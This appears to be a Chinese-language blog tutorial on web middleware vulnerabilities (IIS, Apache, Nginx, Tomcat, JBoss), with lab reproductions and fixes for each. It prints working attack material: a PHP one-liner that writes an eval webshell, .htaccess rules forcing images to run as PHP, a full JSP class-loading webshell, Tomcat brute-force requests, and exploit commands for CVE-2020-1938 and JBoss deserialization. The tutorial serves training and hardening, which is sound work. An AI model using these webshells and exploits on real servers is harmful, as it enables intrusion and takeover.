    漏洞介绍及成因
    IIS Server在web 服务扩展中开启了webDAV,配置了可以写入的权限,造成任意文件上传。版本:IIS6.0
    上传一句话木马文件,然后利用蚁剑连接拿shell
    漏洞复现
    开启webDAV 和写权限。
    
    漏洞修复
    关闭webDAV和写权限。
    

    短文件名猜解

    漏洞介绍及成因
    有就404没有就400
    IIS的短文件名机制,可以暴力猜解短文件名,访问构造的某个存在的短文件名,会返回404,访问构造的某个不存在的短文件名,返回400。
    漏洞复现
    IIS8.0以下版本需要开启ASPNET支持,IIS大于等于8.0版本,即使没有安装ASP.NET,通过OPTIONS和TRACE方法也可以猜解成功。
    
    

    漏洞修复

    漏洞修复
    1)升级.net framework
    2)修改注册表禁用短文件名功能
    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ControlFileSystem,将其中的
    NtfsDisable8dot3NameCreation这一项的值设为1,1代表不创建短文件名格式,修改完成后,需要重启系统生效
    3 )CMD关闭NTFS 8.3文件格式的支持
    4 )将web文件夹的内容拷贝到另一个位置,如c\www到d:\w,然后删除原文件夹,再重命名d:\w到c:\www。
    
    

    解析漏洞

    大多数原因都是网站管理员配置错误,或者web服务器自身的一些漏洞,导致一些特殊的文件被IIS,Apache,Nginx等其他web
    服务器当做脚本执行。例如将php2,phtml等文件当做脚本执行。但是大部分都是服务器自身漏洞。
    

    目录浏览

    漏洞介绍及成因
    用户在使用IIS进行配置时,误将网站管理属性->主目录->目录浏览选中,从而造成目录遍历漏洞。这一漏洞造成的影响为网站信息泄露,致使用户可以通过目录的形式来访问网站的文件。
    漏洞复现
    网站管理:属性->主目录->目录浏览
    

    在这里插入图片描述

    
    

    文件解析漏洞

    在IIS5.x/6.0中,在网站下建立文件夹的名字为*.asp、.asa、.cer、.cdx的文件夹,那么其目录内的任何扩展名的文件都会被IIS当做asp文件来解释并执行。例如创建目录test.asp,那么/test.asp/1.jpg将被当做asp文件来执行在ⅡIS5.x/6.0中,分号后面的不被解析,也就是说xie.asp;.jpg 会被服务器看成是xie.asp。还有IIS6.0默认的可执行文件除了asp还包含这两种.asa .cer。而有些网站对用户上传的文件进行校验,只是校验其后缀名。所以我们只要上传.asp;.jpg、 *.asa;.jpg、 *.cer;.jpg后缀的文件,就可以通过服务器校验,并且服务器会把它当成asp文件执行。

    畸形解析漏洞

    IIS7.0中,在默认Fast-CGI开启状况下,我们往图片里面写入下面的代码<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[x])?>')?>    将文件保存成test.jpg格式,上传到服务器,假设上传路径为/upload,上传成功后,直接访问/upload/test.jpg/x.php,此时神奇的畸形解析开始发挥作用啦。test.jpg将会被服务器当成php文件执行,所以图片里面的代码就会被执行。我们会神奇的发现在lupload目录下创建了一个一句话木马文件shell.php    
    

    其他解析漏洞

    在windows环境下,xx.jpg[空格]或xx.jpg.这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点,黑客可以通过抓包,在文件名后加一个空格或者点绕过黑名单。若上传成功,空格和点都会被windows自动消除。
    

    漏洞修复

    1)对新建目录文件名进行过滤,不允许新建包含.的文件
    2)取消网站后台新建目录的功能,不允许新建目录
    3 )限制上传的脚本执行权限,不允许执行脚本
    4)过滤.asp/xm.jpg,通过ISApi组件过滤
    

    Apache解析漏洞

    文件名解析漏洞

    Apache解析文件时默认从右往左解析,遇到不认识的后缀直接跳过,直到解析认识的后缀为止,例如解析
    lyp.php.xxy		解析,xxy不认识往前解析,最终为lyp.php
    实验中可以上传rar,owf等文件进行利用,不要上传phpinfo.php.jpg	Apache认识jpg没法继续向前解析
        
        
    漏洞修复:
    将AddHandler application/x-httpd-php .php的配置文件删除。
    

    目录浏览

    目录浏览漏洞是由于网站存在配置缺陷,导致网站目录可以被任意浏览,这会导致网站很多隐私文件与目录泄露,
    比如数据库备份文件、配置文件等,攻击者利用该信息可以为进一步入侵网站做准备
    
    
    漏洞修复
    Options -Indexes +FollowSymLinks +ExecCGI
    

    在这里插入图片描述

    .htaccess文件

    .htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。
    通过.htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户
    或者目录的访问、禁止目录列表、配置默认文档等功能IIS平台上不存在该文件,该文件默认开启,
    启用和关闭在 httpd.conf文件中配置。
    
    文件生效的前提条件如下
    mod_rewrite模块开启				LoadModule rewrite_module modules/mod_rewrite.so
    AllowOverride All		   	   AllowOverride All
    
    
    1:这个.htaccess的意思就是把所有名字里面含有shell的文件当成php脚本来执行
    <FilesMatch   "shell">  
    SetHandler  application/x-httpd-php  
    </FilesMatchc> 
     
     
    2:这里代码的意思可以让 .jpg后缀名文件格式的文件名以php格式解析
    AddType application/x-httpd-php .jpg
    
    3:SetHandler application/x-httpd-php,这行配置表示将所有后缀名都解析为php
    
    

    Nginx

    解析漏洞

    对任意文件名在后面添加/xxx.php的一种解析漏洞例如原来文件名为pass.jpg 可以在后面添加pass.jpg/lyp.php,那么此文件就会被当做PHP解析此漏洞与服务器无关,完全是用户配置不当造成

    漏洞复现

    靶场地址https://github.com/vulhub/vulhub/tree/master/nginx/nginx_parsing_vulnerability
    
    直接上传一个带有图片马,上传成功查看保存的路径,直接访问其路径然后在路径后面添加/shell.php后缀,
    打印出图片内容复制完整路径利用中国蚁剑进行连接成功getshell
    

    在这里插入图片描述

    漏洞修复

    1.	修改配置文件
    	/nginx/nginx_parsing_vulnerability/php-fpm/www-2-confsecurity.limit_extensions = .php	
    	将=号后面加上.php
    2.	php.ini文件中的cgi.fix_pathinfo的值设置为0,这样php再解析1.php/1.jpg这样的目录时,
    只要1.jpg不存在就会显示404页面
    

    在这里插入图片描述

    接着上传图片马发现文件无法解析
    

    目录浏览

    Nginx的目录遍历与Apache一样,属于配置方面的问题,错误的配置可到导致目录遍历与源码泄露。漏洞复现:修改/etc/nginx/sites-avaliable/default,在如下图所示的位置添加autoindex on漏洞修复将on改为off

    在这里插入图片描述

    漏洞发现
    

    在这里插入图片描述

    如上图所示开启autoindex on后,会出现目录浏览漏洞
    

    路径穿越

    靶场地址:https://github.com/vulhub/vulhub/tree/master/nginx/insecure-configuration
    

    在这里插入图片描述

    192.168.1.32:8081/files/192.168.1.32:8081/files../http://192.168.1.32:8081/files../etc/漏洞产生原因url中没有对/files加后缀/,而alias设置的/home/是有后缀/的,这个/导致可以从/home/目录穿越到他的上层目录
    

    在这里插入图片描述

    此外还存在目录遍历漏洞开启了	autoindex on;
    

    Tomcat

    Tomcat服务器是一个免费的开放源代码的Web应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP程序的首选。实际上Tomcat是Apache 服务器的扩展,但运行时它是独立运行的,所以当运行tomcat时,它实际上作为一个与Apache独立的进程单独运行的。
    

    Tomcat&&Basic爆破

    环境搭建

    docker search tomcat
    docker pull consol/tomcat-7.0
    docker run -d -p 8080:8080 --name tomcat-baopo consol/tomcat-7.0
    #直接访问139.224.225.64:8080即可
    
    vulhub搭建
    https://github.com/vulhub/vulhub/blob/master/tomcat/tomcat8/README.zh-cn.md
    

    访问tomcat控制台

    
    

    在这里插入图片描述

    #输入用户名密码后用burp进行抓包
    GET /manager/html HTTP/1.1
    Host: 139.224.225.64:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    DNT: 1
    Referer: http://139.224.225.64:8080/
    Cookie: JSESSIONID=C77BAB5CA7FB9A74D659FB1E170FED9D
    Connection: close
    Authorization: Basic YWRtaW46MzIyNDI0	#存在认证,将Basic后面的字符进行base64加密
    
    

    利用burp爆破

    YWRtaW46MzIyNDI0	添加变量,然后选择payload
    

    在这里插入图片描述

    在这里插入图片描述

    tomcat控制台账号密码加密总结:
    1.	传输的账号密码存在于请求头中的Authorization字段中.
    2.	账号密码经过了base64加密
    3.	传输的账号密码格式为(username:password)
    

    利用msf爆破

    use auxiliary/scanner/http/tomcat_mgr_login
    set rhosts 139.224.225.64
    run
    
    #爆破成功
    [+] 139.224.225.64:8080 - Login Successful: admin:admin
    

    cheek_tomcat工具

    git clone https://github.com/r00too/cheek_tomcat.git				#克隆工具
    python3 cheek_tomcat.py http://139.224.225.64:8080/manager/html		#直接爆破
    

    在这里插入图片描述

    加固建议

    docker exec -it  63c94be7637d /bin/bash
    find / -name tomcat
    #/opt/tomcat
    cd /opt/tomcat/conf
    进入此文件下	tomcat-users.xml
    

    在这里插入图片描述

    #重启tomcat即可
    #进入bin目录
    cd /opt/tomcat/bin
    #关闭tomcat
    ./shutdown.sh
    #启动tomcat
    ./startup.sh
    

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Dl20ruzT-1630385093460)(web中间件安全.assets/image-20210811233116141.png)]

    高版本Tomcat防爆破,在一定错误次数后会锁定目标用户!可以尝试使用手动弱口令猜解
    

    后门部署war包

    漏洞简介

    参考博客
    https://blog.csdn.net/weixin_43071873/article/details/109532160
    
    环境接上个实验
    vulhub搭建
    https://github.com/vulhub/vulhub/blob/master/tomcat/tomcat8/README.zh-cn.md
    
    漏洞简介及成因
    Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。若后台管理页面存在弱口令,则可以通过爆破获取密码。
    而刚好上述通过弱口令进入后台。接下来进行getshell操作
    

    制作war包

    准备一个passwd.jsp的木马,然后将木马打包为war格式
    使用如下命令:    
    jar cvf passwd.war passwd.jsp
    

    在这里插入图片描述

    部署war包

    进入Tomcat后台上传刚刚制作的passwd.war包
    

    在这里插入图片描述

    然后浏览器访问这个war包,返回正常,利用中国蚁剑进行连接,成功getshellhttp://域名/passwd/passwd.jsp
    

    在这里插入图片描述

    
    

    修复方案

    1.在系统上以低权限运行Tomcat应用程序。创建一个专门的 Tomcat服务用户,该用户只能拥有一组最小权限,例如不允许远程登录;
    2.增加对于本地和基于证书的身份验证,部署账户锁定机制,对于集中式认证,目录服务也要做相应配置,在CATALINA_HOME/conf/web.xml文件设置锁定机制和时间超时限制;
    3.以及针对manager-gui/manager-status/manager-script等目录页面设置最小权限访问限制;
    4.后台管理避免弱口令.
    

    远程代码执行

    漏洞简介

    Tomcat运行在Windows主机上,且启用了HTTP PUT 请求方法,将readonly参数值设置为false,致使攻击者可以上传包含任意代码的JSP文件,造成任意代码执行。影响版本	Apache Tomcat 7.0.0-7.0.81。靶机地址https://github.com/vulhub/vulhub/blob/master/tomcat/CVE-2017-12615/README.zh-cn.md
    

    漏洞复现

    造成漏洞的原因是tomcat文件夹下的/conf/web.xml插入了如下代码<init-param><param-name>readonly</param-name><param-value>false</param-value>  </init-param>增加以上配置导致我们可以向服务器写入文件
    

    代码执行(CVE-2017-12617)

    1.	首页抓包,然后将请求方式改为PUT,并上传一个/123.jsp/	文件内容为123
    上传成功后状态码为201并访问此文件,成功回显123,说明文件上传成功。
    

    在这里插入图片描述

    上木马,还是之前上传war包的那个jsp木马
    
    <%!
        class U extends ClassLoader {
            U(ClassLoader c) {
                super(c);
            }
            public Class g(byte[] b) {
                return super.defineClass(b, 0, b.length);
            }
        }
     
        public byte[] base64Decode(String str) throws Exception {
            try {
                Class clazz = Class.forName("sun.misc.BASE64Decoder");
                return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
            } catch (Exception e) {
                Class clazz = Class.forName("java.util.Base64");
                Object decoder = clazz.getMethod("getDecoder").invoke(null);
                return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
            }
        }
    %>
    <%
        String cls = request.getParameter("passwd");
        if (cls != null) {
            new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
        }
    %>
    

    在这里插入图片描述

    被上传的木马文件存放位置在:	tomcat/webapps/ROOT	目录下直接利用中国蚁剑进行连接即可,如下图成功getshell
    

    在这里插入图片描述

    
    

    修复方案

    更新版本呗
    将conf/web.xml文件的那个参数值设置为true,则攻击者无法上传文件
    前端waf禁止PUT和DELETE请求
    

    文件读取

    靶场地址https://github.com/vulhub/vulhub/blob/master/tomcat/CVE-2020-1938/README.zh-cn.md
    

    漏洞简介

    漏洞编号	cve-2020-1938漏洞简介及成因[Ghostcat(幽灵猫) ]( https://www.chaitin.cn/zh/ghostcat )是由长亭科技安全研究员发现
    的存在于Tomcat 中的安全漏洞,
    由于Tomcat AJP协议设计上存在缺陷,攻击者通过Tomcat AJP Connector可以读取或包含Tomcat上所有 webapp目录下的任意文件,
    例如可以读取 webapp配置文件或源代码。
    此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。
    相关链接
    https://www.chaitin.cn/zh/ghostcat
    https://www.cnvd.org.cn/webinfo/show/5415
    https://mp.weixin.qq.com/s/D1hiKJpah3NhEBLwtTodsg
    https://mp.weixin.qq.com/s/GzqLkwlIQi_i3AVIXn59FQ
    

    漏洞原理

    tomcat默认的conf/server.xml中配置了2个Connector,一个为8080的对外提供的HTTP协议端口,另外一个就是默认的8009AJP协议端口,两个端口默认均监听在外网ip。tomcat在接收ajp请求的时候调用org.apache.coyote.ajp.AjpProcessor来处理ajp消息,prepareRequest将ajp里面的内容取出来设置成request对象的Attribute属性。可以通过此种特性从而可以控制request对象的下面三个Attribute属性javax.servlet.include.request_urijavax.servlet.include.path_infojavax.servlet.include.servlet_path再通过控制ajp控制的上述三个属性来读取文件,通过操控上述三个属性从而可以读取到应用目录下的任何文件。
    

    在这里插入图片描述

    表示完全看不懂再说啥
    

    漏洞复现

    攻击的EXP地址
    https://github.com/zhzyker/exphub
    直接在攻击机运行攻击的POC即可,代码如下
    python2 cve-2020-1938_exp.py -p 8009 139.224.225.64 -f /WEB-INF/web.xml (阿里云服务器搭建靶场需要开启8009端口)
    

    在这里插入图片描述

    如上图所示,成功读取web.xml的文件。
    

    修复方案

    JBoss

    反序列化漏洞

    靶场搭建
    https://github.com/vulhub/vulhub/tree/master/jboss/CVE-2017-12149
    工具下载地址	https://github.com/shack2/javaserializetools/releases/tag/1.0.20190828
    

    漏洞介绍

    漏洞描述及原理:
    2017年8月30日,厂商Redhat发布了一个JBOSSAS 5.x 的反序列化远程代码执行漏洞通告。该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。但近期有安全研究者发现JBOSSAS 6.x也受该漏洞影响,攻击者利用该漏洞无需用户验证在系统上执行任意命令,获得服务器的控制权。
    
    影响版本:	5.x和6.x
    
    

    漏洞复现

    方法一:
    访问/invoker/readonly	如果页面返回500,说明页面存在,此页面有反序列化漏洞
    

    在这里插入图片描述

    利用反序列化工具进行漏洞探测利用
    工具下载地址:	https://github.com/shack2/javaserializetools/releases/tag/1.0.20190828
    

    在这里插入图片描述

    方法二:
    利用POC直接打	https://github.com/joaomatosf/jexboss.git
    攻击机直接输入如下命令即可
    python3 jexboss.py -host http://192.168.1.32:8080
    

    在这里插入图片描述

    
    

    cve-2017-7504

    漏洞简介及成因Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。影响版本 JBoss AS 4.x及之前版本。

    漏洞探测

    该漏洞出现在 /jbossmq-httpil/HTTPServerILServlet 路径下。若访问200,则可能存在漏洞。从网站的Favicon.ico已经网站的 Header和Footer都可以看到明显的JBoss特征信息,在网页的返回包中也可以查看到JBoSs-4.0.5的字样:

    在这里插入图片描述

    漏洞复现

    直接访问	/jbossmq-httpil/HTTPServerILServlet	路径如果出现如下结果,则证明存在反序列化漏洞
    

    在这里插入图片描述

    探测存在漏洞后,直接利用POC拿shell即可
    POC地址:	https://github.com/joaomatosf/jexboss.git
    下载完成后,直接在黑客主机上执行POC即可成功获取靶机的shell
    

    在这里插入图片描述

    运行如上命令后,POC会自动进行检查攻击,
    根据提示输入yes
    

    在这里插入图片描述

    输入yes之后,成功获取一个shell,并且能够执行任意命令
    

    在这里插入图片描述

    
    

    后门部署war包

    漏洞介绍

    漏洞简介及成因
    jBoss后台管理页面存在弱口令,通过爆破获得账号密码。登陆后台上传包含后门的war包。
    
    漏洞复现
    Administration Console管理页面存在弱口令,admin:admin,登陆后台上传war包。
    
    展开全文
  • Web中间件之Apache Tomcat

    2022-05-18 08:29:51
    中间件定义 中间件定义:中间件是一类连接软件组件和应用的计算机技软件,包括一组服务,以便运行在一...常见WEB中间件 开源web中间件 Apache httpd JBOSS Jetty JTomcat Nginx 商业web中间件 Websphere Weblo...
  • web服务器,web中间件,web容器
  • 中间件/Web中间件到底是什么?

    千次阅读 2021-01-04 18:28:58
    中间件/Web中间件到底是什么? 中间件: 顾名思义,中间件是提供系统软件和应用软件之间连接的软件,以便于软件和系统各部件之间的联系。中间件处于操作系统和更高一级应用程序之间(将应用程序运行环境与操作系统...
  • 7、Tomcat win版默认空口令漏洞(CVE-2009-3548) 五、jBoss中间组件: 1、反序列化漏洞 2、war后门文件部署 六、WebLogic中间组件: 1、反序列化漏洞 2、SSRF 3、任意文件上传 4、war后门文件部署 七、其它中间件相关...
  • web服务器、Web中间件和Web容器的区别

    万次阅读 多人点赞 2018-11-25 20:36:21
    我们经常会被Web服务器、Web容器和Web中间件这三个概念搞混。因为我们常见的很多网站要么是由IIS搭建,要么是由Apache、Tomcat、Ngnix搭建。所以,我们会把他们都叫成是Web服务器,因为他们都提供了Web服务,可以让...
  • @ leizm / web现代的Web中间件基础框架,完美支持TypeScript,内置可维护的大型Web项目。本框架参考了connect,express和koa等主流框架,具有以下特点:兼容连接中间件,可以通过内置的函数转换可将本框架的实例转换...
  • Web中间件常见安全漏洞总结

    千次阅读 2020-08-14 11:23:03
    Tomcat 远程代码执行(CVE-2019-0232) 影响范围:9.0.0.M1 ~ 9.0.17, 8.5.0 ~ 8.5.39 , 7.0.0 ~ 7.0.93 影响系统:Windows 测试环境: Apache Tomcat v8.5.39 J DK 1.8.0_144 修改配置: web.xml content.xml 在...
  • IIS PUT漏洞 IIS Server 在 Web 服务扩展中开启了 WebDAV之后,支持多种请求,配合写入权限,可造成任意文件写入。 短文件名猜解 远程代码执行 解析漏洞
  • Java Web中间件

    万次阅读 2018-11-20 09:42:23
    常见的web中间件有哪些 Tomcat Weblogic Jboss Jetty Webshere Glasshfish 中间件 我们经常会看到中间件,但是,一直好奇的是,中间件到底是什么? 中间件(英语:Middleware)是提供系统软件和应用软件...
  • GitHub 上一款开源的漏洞扫描工具:Vulmap,可对 Web 容器、Web 服务器、Web 中间件以及 CMS 等 Web 程序进行漏洞扫描,并且具备漏洞利用功能。 相关测试人员可以使用 vulmap 检测目标是否存在特定漏洞,并且可以...
  • 从运维管理系统的实际情况出发,分析基于中间件Web 体系结构的系统技术特点,对该类型的运维管理系统实际运行环境(主机系统、网络、数据库、中间件、应用结构)出现的性能故障进行全面分析,找出影响性能的原因,...
  • Java Web中间件课程实践教学探讨
  • web中间件接口说明

    2017-11-13 14:41:02
    金笛web中间件软件可做短信平台,也可和客户短信平台集成,调用web中间件数据库接口,实现报警预警、会议通知等功能。
  • WEB中间件技术

    2014-10-12 17:39:57
    WEB中间件课程PPT,
  • Java Web中间件课程实践教学探讨.pdf
  • Web中间件Negroni.zip

    2019-07-19 07:51:00
    Negroni 是 Go 开发的 Http 中间件,非常小,没有侵入性,鼓励使用 ofnet/http 处理程序。如果你喜欢 Martini,又觉得它太过于复杂,那么 Negroni 非常适合你。 标签:Negroni Web框架
  • 什么是web中间件??

    千次阅读 2017-11-13 10:53:55
    中间件是一种独立的系统软件或服务程序,分布式应用软件借助这种软件在不同的技术之间共享资源。中间件位于客户机/ 服务器的操作系统之上,管理计算机资源和网络通讯。是连接两个独立应用程序或独立系统的软件。相...
  • 我们经常会被Web服务器、Web容器和Web中间件这三个概念搞混。因为我们常见的很多网站要么是由IIS搭建,要么是由Apache、Tomcat、Ngnix搭建。所以,我们会把他们都叫成是Web服务器,因为他们都...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 149,994
精华内容 59,997
关键字:

web中间件

友情链接: 线性表.zip